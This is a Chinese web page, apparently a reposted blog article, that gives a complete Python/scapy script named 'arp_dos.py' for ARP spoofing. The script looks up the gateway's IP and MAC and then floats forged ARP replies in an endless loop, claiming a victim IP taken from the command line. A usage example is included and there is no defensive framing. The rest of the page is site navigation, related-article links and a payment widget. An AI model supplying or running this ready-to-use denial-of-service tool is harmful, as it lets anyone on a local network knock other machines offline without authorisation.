python电脑攻击_python写的ARP攻击代码实例 -电脑资料

该博客介绍了如何使用Python的scapy库进行ARP攻击。首先,需要在Linux环境下安装scapy。接着,通过示例代码展示了获取网关IP和MAC地址的方法,并构建ARP欺骗包进行持续发送,实现ARP攻击。最后,提到了相关Python编程和网络攻防知识。
摘要由CSDN通过智能技术生成

注:使用这个脚本需要安装scapy 包

最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

复制代码代码如下:

#coding:utf-8

#example :sudo python arp_dos.py 192.168.1.103

from scapy.all import ARP,send

import os,re,sys

def get_gateway_ip():

t=os.popen('route -n')

for i in t:

if i.startswith('0.0.0.0'):

r=re.split("\s+",i)

return r[1]

def get_gateway_hw(ip):

t=os.popen('arp -e %s' % ip)

for i in t:

if i.startswith(ip):

r=re.split("\s+",i)

return r[2]

def hack(hackip):

ip=get_gateway_ip()

hw=get_gateway_hw(ip)

arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)

#os.popen('ifconfig eth0 %s' % hackip )

while 1:

send(arp)

def help():

print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():

if len(sys.argv) != 2:

help()

else:

hack(sys.argv[1])

if __name__=="__main__":

main()

QQ空间 搜狐微博 人人网 开心网 百度搜藏更多

Tags:python ARP攻击

复制链接收藏本文打印本文关闭本文返回首页

上一篇:python和C语言混合编程实例

下一篇:windows下wxPython开发环境安装与配置方法

相关文章

2014-03-03Python continue语句用法实例

2014-04-04python抓取网页图片示例(python爬虫)

2013-02-02用python实现的去除win下文本文件头部BOM的代码

2014-01-01python命令行参数sys.argv使用示例

2014-04-04python判断、获取一张图片主色调的2个实例

2013-11-11python读取Android permission文件

2008-08-08python备份文件的脚本

2009-04-04用python实现的可以拷贝或剪切一个文件列表中的所有文件

2009-11-11python 文件和路径操作函数小结

2014-05-05从零学python系列之数据处理编程实例(二)

文章评论

最 近 更 新

python列表去重的二种方法

Python爬虫框架Scrapy安装使用步骤

Python读写Excel文件的实例

使用scrapy实现爬网站例子和实现网络爬虫

python高并发异步服务器核心库forkcore使

pyside写ui界面入门示例

Python 命令行参数sys.argv

浅析python 内置字符串处理函数的使用方法

Pyramid将models.py文件的内容分布到多个

python网络编程之UDP通信实例(含服务器端

热 点 排 行

Python入门教程 超详细1小时学会

python 中文乱码问题深入分析

比较详细Python正则表达式操作指

Python字符串的encode与decode研

Python open读写文件实现脚本

Python enumerate遍历数组示例应

Python 深入理解yield

Python+Django在windows下的开发

python 文件和路径操作函数小结

python 字符串split的用法分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值